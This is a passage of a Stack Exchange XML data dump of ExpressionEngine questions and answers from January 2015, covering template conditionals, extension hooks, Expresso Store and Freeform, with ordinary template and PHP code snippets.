  <row Id="28353" PostTypeId="2" ParentId="28352" CreationDate="2015-01-09T08:43:17.570" Score="1" Body="&lt;p&gt;There's an add-on called &lt;a href=&quot;https://devot-ee.com/add-ons/cookie-plus&quot; rel=&quot;nofollow&quot;&gt;Cookie Plus&lt;/a&gt; which makes setting and getting cookies via template tags very simple.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-01-09T08:43:17.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28354" PostTypeId="2" ParentId="28351" CreationDate="2015-01-09T08:46:53.377" Score="2" Body="&lt;p&gt;First thing to try is to remove the second conditionl to be sure it's that one which causes the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using quotes in your second conditional so it looks like;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{profession}{profession:title}{/profession}&quot; == &quot;foo&quot;}&#xA;    &amp;lt;!-- display something --&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though it would be better to reformat it slightly to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{profession}&#xA;    {if profession:title == &quot;foo&quot;}&#xA;        &amp;lt;!-- display something --&amp;gt;&#xA;    {/if}&#xA;{/profession}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="366" LastEditDate="2015-03-10T16:06:55.837" LastActivityDate="2015-03-10T16:06:55.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28355" PostTypeId="1" CreationDate="2015-01-09T12:13:35.533" Score="0" ViewCount="40" Body="&lt;p&gt;I have a couple questions regarding Expresso Store:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible to add custom dimensions to a product? Our client sells Sofas which have more than just Length/Width/Height (Overall Depth, Seat Width, Seat Height etc), so we need to be able to add new dimension fields. &lt;/li&gt;&#xA;&lt;li&gt;Is it possible to group variations? The customers need to be able to choose the materials and colours for the sofas, so we have multiple ranges of materials and colours available.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2016-06-14T18:47:09.727" Title="Expresso Store - Custom Dimensions" Tags="|expresso-store|product|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28356" PostTypeId="2" ParentId="28327" CreationDate="2015-01-09T12:23:47.847" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:content}&#xA;  {images}&#xA;    {exp:stash:set name=&quot;image-{row_count}&quot; type=&quot;snippet&quot;}&#xA;        {exp:ce_img:single src=&quot;{image:url}&quot;&#xA;     alt=&quot;{image:title}&quot;}               &#xA;    {/exp:stash:set}&#xA;  {/images}&#xA;  {exp:stash:parse}{body}{/exp:stash:parse}&#xA;{/exp:stash:content}&#xA;&#xA;{exp:stash:get name=&quot;content&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2015-01-09T12:23:47.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28357" PostTypeId="1" CreationDate="2015-01-09T15:32:45.227" Score="1" ViewCount="486" Body="&lt;p&gt;I have a channel that stores ads (HTML ads I created and the Google Adsense Code block), and  displays either my html or Google's JS to allow a random ad on each page load. I want to insert that channel entry code from my Ad Channel in the middle of every post from my Article Channel – say after the 6th paragraph. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could split the post entry field into two fields and do something like: &quot; {postHalfOne}{adCodeSnippet}{postHalfTwo} &quot;, but that doesn't allow for changing the breakpoint in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic HTML can be inserted after a certain number of paragraphs via javascript, but it is my understanding that javascript can not be used to pass ExpressionEngine code. My test code works to insert HTML (&lt;a href=&quot;http://jsfiddle.net/DesignBloke/9kkzyry5/&quot; rel=&quot;nofollow&quot;&gt;fiddle&lt;/a&gt;), just not with my exp:channel:entries code. Can I change my code to work with EE or is JS the wrong solution here?&lt;/p&gt;&#xA;" OwnerUserId="4925" LastActivityDate="2015-04-09T22:56:11.543" Title="Insert Code into Middle of Channel Entry Post" Tags="|channel-entries|javascript|embeds|variable|snippets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28358" PostTypeId="1" CreationDate="2015-01-09T15:58:06.360" Score="0" ViewCount="3481" Body="&lt;p&gt;I have a news section on our website and I want to only show the current years articles unless it is January, February or March. Since those months are at the beginning of the year, I don't want the page to not have any content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to figure out the PHP to get the current date and subtract 2 years (so I can show last year's posts).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?$date = strtotime('{current_time format=&quot;%Y&quot;} -2 year');?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also figured out how to do the {if/if:elseif} statements to check which month we are currently in and if it is January do this. February do this. March do this. All the other months do that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%m&quot;} == &quot;01&quot;}&#xA;&amp;lt;p&amp;gt;This is January&amp;lt;/p&amp;gt;&#xA;{if:elseif {current_time format=&quot;%m&quot;} == &quot;02&quot;}&#xA;&amp;lt;p&amp;gt;This is February&amp;lt;/p&amp;gt;&#xA;{if:elseif {current_time format=&quot;%m&quot;} == &quot;03&quot;}&#xA;&amp;lt;p&amp;gt;This is March&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;&amp;lt;p&amp;gt;This is all the other months&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both of the codes above work well independently of each other, but when I put them together the {if:elseif} quits working and it defaults to the last {if:else} content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why? Here is the final code I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%m&quot;} == &quot;01&quot;}&#xA;&amp;lt;?$date = strtotime('{current_time format=&quot;%Y&quot;} -2 year');?&amp;gt;&#xA;{if:elseif {current_time format=&quot;%m&quot;} == &quot;02&quot;}&#xA;&amp;lt;?$date = strtotime('{current_time format=&quot;%Y&quot;} -2 year');?&amp;gt;&#xA;{if:elseif {current_time format=&quot;%m&quot;} == &quot;03&quot;}&#xA;&amp;lt;?$date = strtotime('{current_time format=&quot;%Y&quot;} -2 year');?&amp;gt;&#xA;{if:else}&#xA;&amp;lt;?$date = strtotime('{current_time format=&quot;%Y&quot;} -1 year');?&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2272" LastActivityDate="2015-05-13T16:19:01.957" Title="if:elseif statement not working correctly with PHP" Tags="|php|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28359" PostTypeId="1" AcceptedAnswerId="28399" CreationDate="2015-01-09T16:50:06.837" Score="0" ViewCount="62" Body="&lt;p&gt;&lt;em&gt;Firstly apologies for my explanation and terminology, this is a relatively new area for me.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built an extension which uses three hooks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user_register_end&lt;/li&gt;&#xA;&lt;li&gt;user_edit_end&lt;/li&gt;&#xA;&lt;li&gt;user_delete_account_end&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first two are working correctly however the last one doesn't appear to be. The hook is referenced in Solspace User in file mod.user.php as is the &lt;code&gt;user_register_end&lt;/code&gt; one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the two hook initiations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Register user hook (working)&#xA;if (ee()-&amp;gt;extensions-&amp;gt;active_hook('user_register_end') === TRUE)&#xA;{&#xA;    $edata = ee()-&amp;gt;extensions-&amp;gt;universal_call('user_register_end', $this, $member_id);&#xA;    if (ee()-&amp;gt;extensions-&amp;gt;end_script === TRUE) return;&#xA;}&#xA;&#xA;//Delete user hook (not working)&#xA;if (ee()-&amp;gt;extensions-&amp;gt;active_hook('user_delete_account_end') === TRUE)&#xA;{&#xA;    $edata = ee()-&amp;gt;extensions-&amp;gt;universal_call('user_delete_account_end', $this);&#xA;    if (ee()-&amp;gt;extensions-&amp;gt;end_script === TRUE) return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my code for both hooks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Hook array used to populate the extensions table&#xA;$hooks = array(&#xA;    'user_register_end' =&amp;gt; 'new_client_check',&#xA;    'user_edit_end' =&amp;gt; 'upd_client_check',&#xA;    'user_delete_account_end' =&amp;gt; 'del_client_check'&#xA;);&#xA;&#xA;function upd_client_check($member_id, $user_object, $cfields) {&#xA;    //Function code&#xA;}&#xA;&#xA;function del_client_check($member_data) {&#xA;    return('working');&#xA;    die;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;During my tests I've been printing out comments or data and killing the function so it stops right away and this has been working fine so far. Now though when I delete a member I'm just shown the successful delete message so the hook isn't being noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can confirm that all the hooks and methods are in the database correctly.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HQFhH.png&quot; alt=&quot;Image of extensions table hooks and methods&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help at all? And if you need to me explain in more detail I'll try my best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; I am using this extension with the Solspace User delete form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2015-01-09T17:03:05.280" LastActivityDate="2015-01-13T07:57:37.877" Title="user_delete_account_end hook doesn't appear to be working" Tags="|solspace-user|hook|users|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28360" PostTypeId="2" ParentId="28359" CreationDate="2015-01-09T16:58:17.457" Score="0" Body="&lt;p&gt;Looking at the &lt;a href=&quot;http://www.solspace.com/docs/user/change_log/#v3.2.3&quot; rel=&quot;nofollow&quot;&gt;change log for when that hook was added&lt;/a&gt;, it states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Added a &quot;user_delete_account_end&quot; hook to the end of the delete_account function for the Delete_form tag&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So this tells me that this hook only fires when an account is deleted using User's own &lt;a href=&quot;http://www.solspace.com/docs/user/delete_form/&quot; rel=&quot;nofollow&quot;&gt;delete_form&lt;/a&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hook into member deletion via the control panel, you'll want to use EE's own &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/members/index.html#cp-members-member-delete-end&quot; rel=&quot;nofollow&quot;&gt;cp_members_member_delete_end&lt;/a&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-09T16:58:17.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28361" PostTypeId="2" ParentId="28357" CreationDate="2015-01-09T17:07:18.897" Score="0" Body="&lt;p&gt;A couple of options here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to wrap your entry content in the &lt;a href=&quot;https://github.com/EllisLab/Allow-Eecode&quot; rel=&quot;nofollow&quot;&gt;Allow EE Code plugin&lt;/a&gt;, and then include your ad code via an embed wherever you ant it to appear in your entry, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_embeds/ad&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other option is to use something like &lt;a href=&quot;http://ee-garage.com/nsm-transplant&quot; rel=&quot;nofollow&quot;&gt;NSM Transplant&lt;/a&gt;, with which you can do something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include this as a &quot;token&quot; for your ad inside your content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{advertisement}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:nsm_transplant:body}&#xA;&#xA;  {exp:channel:entries channel=&quot;ads&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;    {exp:nsm_transplant:content id=&quot;advertisement&quot;}&#xA;      {ad_code}&#xA;      {!-- Whatever you need to include here for your ad to render --}&#xA;    {/exp:nsm_transplant:content}&#xA;  {/exp:channel:entries}&#xA;&#xA;  {exp:channel:entries channel=&quot;articles&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {content}&#xA;    {!-- {advertisement} inside of {content} will be parsed and replaced with the content inside of {exp:nsm_transplant:content} above --}&#xA;  {exp:channel:entries}&#xA;&#xA;{/exp:nsm_transplant:body}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-09T17:07:18.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28362" PostTypeId="1" CreationDate="2015-01-09T17:10:00.737" Score="0" ViewCount="165" Body="&lt;p&gt;I need to add an ID attribute to a PT Checkbox within Channel Form so I can target it with JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard usage for Channel Form is '{field:my_radio_button}' which doesn't give me the flexibility of adding and ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input appreciated!&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2016-06-18T17:51:55.607" Title="Add an ID to radio button within Channel Form" Tags="|safecracker|pixelandtonic|field-pack|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28363" PostTypeId="2" ParentId="28358" CreationDate="2015-01-09T19:56:03.017" Score="0" Body="&lt;p&gt;After doing some extensive research on this, I found the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced conditionals in the ‘global’ template scope (not within a tag) are generally parsed by the EE template parser near the end of the process. This unfortunately means that any tags within non-matching conditions are parsed first, before being removed. This can have a significant performance impact if the nested tags are doing a lot of processing, such as is the case with the {exp:channel} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did however find a plugin by Mark Croxton called &quot;ifelse&quot; that forces the advanced conditional to be processed first, but it is not working with my version of EE (2.4.0) even though it states that it can so it might be conflicting with one of my other plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else come across a solution to force advance conditionals to be processed sooner for ExpressionEngine?&lt;/p&gt;&#xA;" OwnerUserId="2272" LastActivityDate="2015-01-09T19:56:03.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28364" PostTypeId="2" ParentId="28325" CreationDate="2015-01-09T20:06:17.593" Score="1" Body="&lt;p&gt;I used the &quot;Tally&quot; addon found here &lt;a href=&quot;https://devot-ee.com/add-ons/tally&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/tally&lt;/a&gt;.  It works like a charm.&lt;/p&gt;&#xA;" OwnerUserId="747" LastActivityDate="2015-01-09T20:06:17.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28365" PostTypeId="1" CreationDate="2015-01-09T22:12:41.940" Score="0" ViewCount="106" Body="&lt;p&gt;FreeForm 4.2 &#xA;EE 2.8.1&#xA;MSM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I needed to create the first form for one of the sites on our EE with Multi-site. So I began by creating fields. I went to create a &lt;em&gt;First Name&lt;/em&gt; field, but FreeForm told me the &lt;strong&gt;field name&lt;/strong&gt; already existed and I needed to select another name. Which was a surprise to me since this was the first field and form I was creating for this site. I checked the fields list and it clearly wasn't showing. So I checked the other site and confirmed the &lt;strong&gt;field name&lt;/strong&gt; was being already used. So I had to switch my field naming conventions to help differentiate. And I created all the fields needed for the form. But I didn't use a different convention for the &lt;strong&gt;field label&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I began to create the form, setting the &lt;em&gt;Form Type&lt;/em&gt; to &lt;em&gt;Composer&lt;/em&gt;. In the list of fields, I now have two &lt;em&gt;First Name&lt;/em&gt; fields. The list uses the &lt;strong&gt;field label&lt;/strong&gt;, so now I can't tell them apart. I have to edit one to check the &lt;strong&gt;field name&lt;/strong&gt; so I select the field for this site and not the other site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest that you either let FreeForm share the fields across the multiple sites or create a better separation between the sites. And I lean towards the latter. And by better separation I think I should be able to reuse the &lt;strong&gt;field labels&lt;/strong&gt;, &lt;strong&gt;field names&lt;/strong&gt;, &lt;strong&gt;form names&lt;/strong&gt; and &lt;strong&gt;form labels&lt;/strong&gt; etc without worrying about names on other sites.&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2016-06-14T04:15:32.387" Title="Freeform Pro fields and MSM, fields not consistent across multi sites" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28366" PostTypeId="2" ParentId="28358" CreationDate="2015-01-09T22:34:00.330" Score="1" Body="&lt;p&gt;Would this work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configure the template to execute PHP &lt;em&gt;before&lt;/em&gt; EE code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handle your conditionals in PHP rather than EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;&#xA;$todays_month = date('n');&#xA;&#xA;if ($todays_month == &quot;1&quot;) {&#xA;&#xA;echo &quot;your EE code for January goes here&quot;;&#xA;&#xA;} elseif ($todays_month == &quot;2&quot;) {&#xA;&#xA;echo &quot;your EE code for February goes here&quot;;&#xA;&#xA;} else {&#xA;&#xA;echo &quot;your EE code for March and after goes here&quot;;&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2015-01-09T22:41:08.243" LastActivityDate="2015-01-09T22:41:08.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28367" PostTypeId="1" AcceptedAnswerId="28373" CreationDate="2015-01-10T21:02:27.820" Score="1" ViewCount="113" Body="&lt;p&gt;I'm trying to display a custom field (a product picture) in the checkout page but it's getting buggy.  I'd like to display a picture of each product next to it's info.  When the page is processed, it displays the first picture correctly, but loops the same image for the rest of the products.  I can't figure out why (I'm new to EE).  Please help.   My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {items}&#xA;    {exp:channel:entries channel=&quot;products&quot;}&#xA;    &amp;lt;a class=&quot;quick-cart-item&quot; href=&quot;{path='store_example/checkout'}&quot;&amp;gt;&amp;lt;!-- item  --&amp;gt;&#xA;    &amp;lt;img class=&quot;pull-left&quot; src=&quot;{main_pic}&quot; width=&quot;40&quot; alt=&quot;quick cart&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;inline-block&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;title block&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;price block&quot;&amp;gt;{item_qty} &amp;amp;times; {item_subtotal}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&amp;lt;!-- /item --&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    {/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4919" LastActivityDate="2015-01-11T01:41:18.457" Title="Expresso Store display custom field on checkout page" Tags="|expresso-store|custom-fields|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28368" PostTypeId="1" CreationDate="2015-01-11T00:38:37.423" Score="0" ViewCount="27" Body="&lt;p&gt;I'm having this problem with browsers not displaying the old price next to the sale_price except in safari. Both the index page where all products are listed and the singel productpage are not showing. Even in the pagesource is the old price not listed. Safari is showing in both pages without a problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;price-holder&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;price&quot;&amp;gt;&#xA;    {if on_sale}&#xA;      &amp;lt;span&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;      &amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt;&#xA;    {if:else}&#xA;      &amp;lt;span&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;price&quot;&amp;gt;&#xA;  {if on_sale}&#xA;    {price} &amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt;&#xA;  {if:else}&#xA;    {price}&#xA;  {/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both without success! Is there someone else who had encountered this problem? All help would be great. &lt;/p&gt;&#xA;" OwnerUserId="4926" LastActivityDate="2015-01-11T00:38:37.423" Title="Expresso Store2 - regular_price not showing in browsers other than Safari" Tags="|expresso-store|expresso|price-modifier|browser|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28369" PostTypeId="2" ParentId="28362" CreationDate="2015-01-11T00:39:47.967" Score="0" Body="&lt;p&gt;I don't really use channel forms atm but could this not be done using an if statement?&#xA;ref docs safecracker ee 2.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if radio} {options} &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{option_value}&amp;lt;label&#xA;class=&quot;checkbox&quot;&amp;gt; &amp;lt;input type=&quot;radio&quot; id=&quot;{field_name}&quot;&#xA;name=&quot;{field_name}&quot; value=&quot;{option_value}&quot;{checked}&amp;gt; &amp;lt;/label&amp;gt;&#xA;{/options} {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use js on the field name&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2015-01-11T00:39:47.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28370" PostTypeId="2" ParentId="26671" CreationDate="2015-01-11T00:45:09.020" Score="0" Body="&lt;p&gt;Try editing the Member group to disallow the viewing of post made by others.&#xA;A long time ago I created a support site which bothered me for a while and I found the above solution would only display entries by the logged in user. &lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2015-01-11T00:45:09.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28373" PostTypeId="2" ParentId="28367" CreationDate="2015-01-11T01:41:18.457" Score="0" Body="&lt;p&gt;You need to pass the entry_id (which is stored per item) to the embedded channel entries tag so it knows which entries to pull since EE can not figure it out dynamically.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;    {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;a class=&quot;quick-cart-item&quot; href=&quot;{path='store_example/checkout'}&quot;&amp;gt;&amp;lt;!-- item  --&amp;gt;&#xA;    &amp;lt;img class=&quot;pull-left&quot; src=&quot;{main_pic}&quot; width=&quot;40&quot; alt=&quot;quick cart&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;inline-block&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;title block&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;price block&quot;&amp;gt;{item_qty} &amp;amp;times; {item_subtotal}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&amp;lt;!-- /item --&amp;gt;&#xA;    {/exp:channel:entries}&#xA;   {/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-11T01:41:18.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28375" PostTypeId="1" AcceptedAnswerId="28810" CreationDate="2015-01-11T18:25:18.950" Score="0" ViewCount="260" Body="&lt;p&gt;I used composer template to drag n drop and make my form.  I have it working fine and allowing a submit.  Now I need to let an admin display each persons application that was submitted through this form so they can print it.  Viewing the forms through the module tab doesn't give a nice print layout like I need.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to display all of a specific entry_id entries with the same form layout made from composer template? This is the code I'm using to show the initial form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer&#xA;     form_name=&quot;office_employee_app&quot;&#xA;     composer_template_name=&quot;office_employee_template&quot;&#xA;     return=&quot;admin/office-application-signature&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4929" LastEditorUserId="4929" LastEditDate="2015-02-03T14:25:15.467" LastActivityDate="2015-02-03T20:42:57.233" Title="Freeform Pro - displaying entries using composer template" Tags="|ee2|solspace-freeform|solspace|composer|composer-template|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28376" PostTypeId="2" ParentId="18249" CreationDate="2015-01-12T04:03:44.113" Score="0" Body="&lt;p&gt;Certainly found a fix for this, following advise here - &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/cp.html#set-variables&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/cp.html#set-variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance at &lt;strong&gt;mcp.moreevents.php:17&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;set_variable('cp_page_title', $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('moreevents_config_heading'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;view-&amp;gt;cp_page_title = $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('moreevents_config_heading');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A simple find/replace of all instances of set_variable() will fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still yet to find the issue as to why event data is not being saved...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit - saving fixes below&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following lines need to altered to ensure saving works - seems to be an issue around strtotime (the two values using this are already in a time format, so this is largely unnecessary. Maybe I'm missing something?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models/more_event_data.php:165&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $data = array(&#xA;        &quot;status&quot;                        =&amp;gt; $this-&amp;gt;_yep_nope($params['mod_data']['status']),&#xA;        &quot;registration_expiry&quot;           =&amp;gt; $params['mod_data']['registration_expiry'],&#xA;        &quot;notify_on_registration&quot;        =&amp;gt; $this-&amp;gt;_yep_nope($params['mod_data']['notify_on_registration']),&#xA;        &quot;notify_email&quot;                  =&amp;gt; $params['mod_data']['notify_email'],&#xA;        &quot;member_prices&quot;                 =&amp;gt; serialize($params['mod_data']['member_price'][0]),&#xA;        &quot;member_permissions&quot;            =&amp;gt; serialize($params['mod_data']['member_price'][1]),&#xA;        &quot;member_earlybird_prices&quot;       =&amp;gt; serialize($params['mod_data']['member_price'][2]),&#xA;        &quot;custom_fields&quot;                 =&amp;gt; serialize($params['mod_data']['custom_fields']),&#xA;        &quot;tickets_available&quot;             =&amp;gt; $params['mod_data']['tickets_available'],&#xA;        &quot;earlybird_expiry&quot;              =&amp;gt; $params['mod_data']['earlybird_expiry']&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ext.moreevents.php:103&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When changing the 'Notify on Registration' dropdown, this was the only field that didn't trigger the &lt;code&gt;save()&lt;/code&gt; function to actually save its value to the DB. Adding the below line at line 103 (after very similar looking lines for other fields) seemed to do the trick. However, once removing this line afterwards, it all seems to work normally. To be safe, its best to add this line anyway.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_result[$key]['event:notify_on_registration'] = $is_event ? 